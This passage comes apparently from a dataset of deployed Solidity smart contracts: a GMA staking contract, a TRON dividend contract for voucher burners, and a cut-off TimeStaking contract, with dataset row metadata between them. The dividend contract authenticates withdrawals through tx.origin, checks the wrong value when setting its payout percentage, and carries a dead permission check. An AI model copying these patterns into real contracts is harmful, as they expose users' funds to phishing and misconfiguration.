let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsGMA {
function rebase(uint256 everProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract GmaStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable GMA;
address public immutable sGMA;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _GMA,
address _sGMA,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_GMA != address(0));
GMA = _GMA;
require(_sGMA != address(0));
sGMA = _sGMA;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(GMA).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsGMA(sGMA).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sGMA).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsGMA(sGMA).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsGMA(sGMA).balanceForGons(info.gons));
IERC20(GMA).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sGMA).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(GMA).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsGMA(sGMA).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsGMA(sGMA).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsGMA(sGMA).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(GMA).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sGMA).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sGMA).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 333,645 | 11,257 |
bd404cc78ccf4a811821efa71f19d7426ebc7ed7f4fafcb4e23f703d5db6dff5
| 23,952 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TB3WyXGo4a1gWG9VopP1TAJzFB8WUbxTxK_VoucherDividend.sol
| 4,391 | 17,454 |
//SourceUnit: voucherDividend.sol
pragma solidity 0.4.25;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
//
//--------------------- GAMES CONTRACT INTERFACE ---------------------//
//
interface InterfaceGAMES {
function getAvailableVoucherRake() external returns (uint256);
function requestVoucherRakePayment() external returns(bool);
}
//
//------------------ VOUCHER TOKEN CONTRACT INTERFACE ------------------//
//
interface InterfaceVoucherTOKEN {
//trc20 token contract functions
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function transfer(address to, uint256 amount) external returns(bool);
function totalSupply() external returns(uint256);
//custom voucher token contract functions
function changeMintingBasePriceWhileDivDistro() external returns (bool);
function usersVoucherBurnedAmount(address user,uint256 mintShareStatus) external view returns(uint256);
function totalBurnIn(uint256 status) external view returns(uint256);
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address internal owner;
address internal newOwner;
address internal signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer);
_;
}
function changeSigner(address _signer) public onlyOwner {
signer = _signer;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//
//--------------------- VOUCHER MAIN CODE STARTS HERE ---------------------//
//
contract VoucherDividend is owned {
// Public variables of the token
using SafeMath for uint256;
bool public globalHalt;
address public voucherTokenContract;
address public topiaTokenContract;
uint256 public dividendAccumulated;
uint256 public divPercentageSUN = 100000000; //100% of dividend distributed
uint256 public dividendRemainder;
uint256 public lastDividendPaidTime;
// This creates a mapping with all data storage
mapping (address => bool) public whitelistCaller;
address[] public whitelistCallerArray;
mapping (address => uint256) internal whitelistCallerArrayIndex;
//Dividend Tracker variables
mapping (address => uint256) public divPaidAllTime; //token address => amount. And address 0x0 for TRX
uint256 public voucherBurnedAtDivDistribution;
uint256 public totalDividendsPaidNumber;
mapping (address => uint256) public totalburnedVouchersTracker; //maps to user address => tracking of voucherBurnedAtDivDistribution at voucher burned
mapping (address => uint256) public noOfDivPaidAfterBurn; //maps to user address => tracking of totalDividendsPaidNumber while vouchers burn
mapping (address => uint256) public divPaidAllTimeUsersTRX; //maps to user address => trx amount
mapping (address => mapping(address => uint256)) public divPaidAllTimeUsersTRC20; //maps to user address => token address => token amount
//user withdraw dividend TRX
event DividendWithdrawTRX(address indexed user, uint256 indexed dividendAmountTRX);
//user withdraw TRC20
event DividendWithdrawTRC20(address user, address tokenAddress, uint256 dividendAmountTRC20);
//DividendPaid by admin in TRX
event DividendPaidTRX(uint256 indexed amount);
//DividendPaid by admin in TRC20
event DividendPaidTRC20(address tokenAddress, uint256 indexed amount);
constructor() public { }
function () payable external {}
function distributeDividendTRX() public returns(uint256){
uint256 vouchersBurnedTotal = InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0);
require(vouchersBurnedTotal > 0, 'none has burned the vouchers');
//signer can call this function anytime
//but if he does not call it after 7 days, then anyone can call this and distribute the dividend.
//this is to increase trust in player community.
if(msg.sender != signer){
require(lastDividendPaidTime + 604800 < now, 'You need to wait 7 days to Do This');
}
//calling voucher token contract to update mintingBasePricing
InterfaceVoucherTOKEN(voucherTokenContract).changeMintingBasePriceWhileDivDistro();
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
for(uint i=0; i < totalGameContracts; i++){
address gameAddress = whitelistCallerArray[i];
uint256 amount = InterfaceGAMES(gameAddress).getAvailableVoucherRake();
if(amount > 0){
//if status is true, which means particular game has positive dividend available
totalDividend += amount;
//we will request that dividend TRX from game contract to this token contract
require(InterfaceGAMES(gameAddress).requestVoucherRakePayment(), 'could not transfer trx');
}
}
lastDividendPaidTime = now;
if(totalDividend > 0){
uint256 finalDividendAmount = totalDividend + dividendAccumulated;
//admin can set % of dividend to be distributed.
//reason for 1000000 is that divPercentageSUN was in SUN
uint256 payableAmount = finalDividendAmount * divPercentageSUN / 100 / 1000000;
//if dividend % is less than 100%, then track that remainder in another variable
if(divPercentageSUN < 100000000){
dividendRemainder += finalDividendAmount * (100000000 - divPercentageSUN) / 100 / 1000000;
}
//update variables
dividendAccumulated = 0;
//update dividend trackers
dividendTrackerWhileDistribution(address(0), payableAmount, vouchersBurnedTotal);
emit DividendPaidTRX(payableAmount);
return payableAmount;
}
}
function distributeDividendTRC20(address tokenAddress) public onlySigner returns(bool){
//distributing trc20 will consider both burned tokens as well as total supply exist
uint256 currentVoucherSupply = InterfaceVoucherTOKEN(voucherTokenContract).totalSupply();
uint256 vouchersBurnedAllTime = InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0);
uint256 dividedAmount = (currentVoucherSupply + vouchersBurnedAllTime) * 100;
//signer can call this function anytime
//but if he does not call it after 7 days, then anyone can call this and distribute the dividend.
//this is to increase trust in player community.
if(msg.sender != signer){
require(lastDividendPaidTime + 604800 < now, 'You need to wait 7 days to Do This');
}
require(InterfaceVoucherTOKEN(tokenAddress).transferFrom(owner, address(this), dividedAmount), 'could not transfer tokens');
require(whitelistCaller[tokenAddress], 'Please add trc20 token contract address first');
require(dividedAmount > 0, 'dividedAmount cant be zero');
require((currentVoucherSupply + vouchersBurnedAllTime) > 0, 'There are no vouchers existed');
//update dividend trackers
dividendTrackerWhileDistribution(tokenAddress, dividedAmount, currentVoucherSupply + vouchersBurnedAllTime);
lastDividendPaidTime = now;
emit DividendPaidTRC20(tokenAddress, dividedAmount);
return true;
}
function dividendTrackerWhileDistribution(address tokenAddress, uint256 dividedAmount, uint256 voucherBurnedCurrently) internal {
divPaidAllTime[tokenAddress] += dividedAmount; //address 0x0 for TRX
voucherBurnedAtDivDistribution += voucherBurnedCurrently;
totalDividendsPaidNumber++;
}
function updateDivPercentageSUN(uint256 newPercentSUN) public onlyOwner returns(string){
require(divPercentageSUN <= 100000000, 'percentage cant be more than 100%');
divPercentageSUN = newPercentSUN;
return "done";
}
function reInvestDividendRemainder() public payable onlyOwner returns(string){
require(dividendRemainder > 0 || msg.value > 0, 'dividendRemainder cant be zero');
dividendAccumulated = dividendRemainder + msg.value;
dividendRemainder=0;
return "dividendRemainder is sent to div pool";
}
function withdrawDividendsEverything() public returns(bool){
//tx.origin is because it will take original caller even if user is calling via another contract.
address user = tx.origin;
address tokenAddress = topiaTokenContract;
require(!globalHalt, 'Global halt is on');
//withdraw any outstanding trx or trc20 tokens Start ---------------------
//TRX withdraw
uint256 outstandingDivTRX = userConfirmedDividendTRX(user);
if(outstandingDivTRX > 0){
user.transfer(outstandingDivTRX);
emit DividendWithdrawTRX(user, outstandingDivTRX);
}
//TRC20 Topia withdraw
uint256 outstandingDivTRC20 = userConfirmedDividendTRC20(user, tokenAddress);
if(outstandingDivTRC20 > 0){
InterfaceVoucherTOKEN(tokenAddress).transfer(user, outstandingDivTRC20);
emit DividendWithdrawTRC20(user, tokenAddress, outstandingDivTRC20);
}
//withdraw any outstanding trx or trc20 tokens END ---------------------
//Updating user's dividend tracker START ---------------------
//these tracker variables will be used in calculating share percentage of div pool
totalburnedVouchersTracker[user] = voucherBurnedAtDivDistribution;
//this will track all the dividend distribution attempts.
noOfDivPaidAfterBurn[user] = totalDividendsPaidNumber;
//following will set value for each tokens and TRX at time of this action
//TRX withdraw tracked
divPaidAllTimeUsersTRX[user] = divPaidAllTime[address(0)];
//TRC20 withdraw tracked
divPaidAllTimeUsersTRC20[user][tokenAddress] = divPaidAllTime[tokenAddress];
//Updating user's dividend tracker END ---------------------
return true;
}
function userConfirmedDividendTRX(address user) public view returns(uint256){
uint256 userVouchersBurned = InterfaceVoucherTOKEN(voucherTokenContract).usersVoucherBurnedAmount(user,0);
//if there are more dividend distribution after user has frozen topia
uint256 divPaidAllTimeUsers = divPaidAllTimeUsersTRX[user];
if(divPaidAllTime[address(0)] > divPaidAllTimeUsers && userVouchersBurned > 0){
//finding all the subsequent dividends distributed by admin
//all three below trackers can never be zero due to above condition
uint256 newDividendPoolAmount = divPaidAllTime[address(0)] - divPaidAllTimeUsers;
uint256 totalVouchersBurned = voucherBurnedAtDivDistribution - totalburnedVouchersTracker[user];
uint256 totalNoOfDivPaid = totalDividendsPaidNumber - noOfDivPaidAfterBurn[user];
//first calculating user share percentage = user freeze tokens * 100 / total frozen tokens
//the reason for the decimals variable is to have sharePercentage variable have more decimals.
uint256 sharePercentage = userVouchersBurned * 100 * 1000000 / (totalVouchersBurned / totalNoOfDivPaid) ;
//now calculating final trx amount from (available dividend pool * share percentage / 100)
if(newDividendPoolAmount * sharePercentage > 0){
return newDividendPoolAmount * sharePercentage / 100 / 1000000;
}
}
//by default it will return zero
}
function userConfirmedDividendTRC20(address user, address tokenAddress) public view returns(uint256){
uint256 userVouchersBurned = InterfaceVoucherTOKEN(voucherTokenContract).usersVoucherBurnedAmount(user,0);
//if there are more dividend distribution after user has frozen topia
if(divPaidAllTime[tokenAddress] > divPaidAllTimeUsersTRC20[user][tokenAddress] && userVouchersBurned > 0){
//finding all the subsequent dividends distributed by admin
//all three below trackers can never be zero due to above condition
uint256 newDividendPoolAmount = divPaidAllTime[tokenAddress] - divPaidAllTimeUsersTRC20[user][tokenAddress];
uint256 totalVouchersBurned = voucherBurnedAtDivDistribution - totalburnedVouchersTracker[user];
uint256 totalNoOfDivPaid = totalDividendsPaidNumber - noOfDivPaidAfterBurn[user];
//first calculating user share percentage = user freeze tokens * 100 / total frozen tokens
//the reason for the decimals variable is to have sharePercentage variable have more decimals.
uint256 sharePercentage = userVouchersBurned * 100 * 1000000 / (totalVouchersBurned / totalNoOfDivPaid) ;
//now calculating final trx amount from (available dividend pool * share percentage / 100)
if(newDividendPoolAmount * sharePercentage > 0){
return newDividendPoolAmount * sharePercentage / 100 / 1000000;
}
}
//by default it will return zero
}
function getDividendPotentialTRX() public view returns(uint256){
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
for(uint i=0; i < totalGameContracts; i++){
uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVoucherRake();
if(amount > 0){
totalDividend += amount;
}
}
if(totalDividend > 0 || dividendAccumulated > 0){
return totalDividend + dividendAccumulated;
//admin can set % of dividend to be distributed.
//reason for 1000000 is that divPercentageSUN was in SUN
//return (totalAmount * divPercentageSUN / 100 / 1000000);
}
//by default it returns zero
}
function addWhitelistGameAddress(address _newAddress) public onlyOwner returns(string){
require(!whitelistCaller[_newAddress], 'No same Address again');
whitelistCaller[_newAddress] = true;
whitelistCallerArray.push(_newAddress);
whitelistCallerArrayIndex[_newAddress] = whitelistCallerArray.length - 1;
return "Whitelisting Address added";
}
function removeWhitelistGameAddress(address _address) public onlyOwner returns(string){
require(_address != address(0), 'Invalid Address');
require(whitelistCaller[_address], 'This Address does not exist');
whitelistCaller[_address] = false;
uint256 arrayIndex = whitelistCallerArrayIndex[_address];
address lastElement = whitelistCallerArray[whitelistCallerArray.length - 1];
whitelistCallerArray[arrayIndex] = lastElement;
whitelistCallerArrayIndex[lastElement] = arrayIndex;
whitelistCallerArray.length--;
return "Whitelisting Address removed";
}
function manualWithdrawTokens(address tokenAddress, uint256 tokenAmount) public onlyOwner returns(string){
// no need for overflow checking as that will be done in transfer function
InterfaceVoucherTOKEN(tokenAddress).transfer(owner, tokenAmount);
return "Tokens withdrawn to owner wallet";
}
function changeGlobalHalt() onlyOwner public returns(string) {
if (globalHalt == false){
globalHalt = true;
}
else{
globalHalt = false;
}
return "globalHalt status changed";
}
function totalTRXbalanceContract() public view returns(uint256){
return address(this).balance;
}
function updateContractAddresses(address voucherTokenContract_, address topiaTokenContract_) public onlyOwner returns(string){
voucherTokenContract = voucherTokenContract_;
topiaTokenContract = topiaTokenContract_;
return("contract addresses updated successfully");
}
}
| 284,667 | 11,258 |
b992212c33aaf9f62bb85dfd73299f3a054defb8ca8ce950b222d8f2b4a0d0f4
| 27,434 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0a/0Ab2C4B88B5E0e46ce42230139f043B1500083C9_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
